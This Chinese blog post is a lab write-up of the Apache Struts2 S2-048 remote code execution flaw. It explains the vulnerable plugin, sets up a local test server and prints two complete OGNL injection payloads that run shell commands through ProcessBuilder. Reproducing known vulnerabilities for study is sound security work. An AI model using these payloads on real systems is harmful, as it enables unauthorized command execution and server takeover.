Struts2 048实验

Struts2 048实验

参考:

https://www.ichunqiu.com/course/58753

使用方法struts2_S2-048.py <url>  <cmd>

二、 影响版本:

Struts 2.3.x with Struts 1 plugin and Struts 1 action

三、 漏洞介绍:

Apache Struts 1插件的Apache Struts 2.3.X版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2的兼容性。在Struts2中的Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限

产生原因:

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。

四、 环境搭建:

参考网址:

http://netsecurity.51cto.com/art/201707/544837.htm

下载/struts/2.3.24

下载地址:http://archive.apache.org/dist/struts/2.3.24/

百度云链接:链接:http://pan.baidu.com/s/1dFeUyNv密码:279t

下载安装xampp

部署showcase

1.png

解压

2.png

复制到

3.png

重启tomcat

4.png

已成功自动部署

5.png

五、 测试网址:

访问http://127.0.0.1:8080/struts2-showcase/index.action

6.png

进入http://127.0.0.1:8080/struts2-showcase/integration/editGangster.action

以第一个参数为攻击点,在其执行OGNL语法,${10-7},

7.png

成功执行

8.png

抓包

注意端口不要重复,即不要与以下重复

9_1.png

我这里用的是9090

9_2.png

抓包获取

10.png

修改Conten-Type:为(粗体部分为命令)

六、 POC:

${(#dm=@\u006Fgnl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#ef='echo s2-048-EXISTS').(#iswin=(@\u006Aava.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#efe=(#iswin?{'cmd.exe','/c',#ef}:{'/bin/bash','-c',#ef})).(#p=new \u006Aava.lang.ProcessBuilder(#efe)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}", 'age':'bbb', '__checkbox_bustedBefore':'true', 'description':'ccc'

视频里的payload为

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

11.png

七、执行结果

12.png

八、 至此,该漏洞基本利用完毕

作者:心如水_0b05

链接:https://www.jianshu.com/p/356291fb26a2

来源:简书

著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

推荐阅读更多精彩内容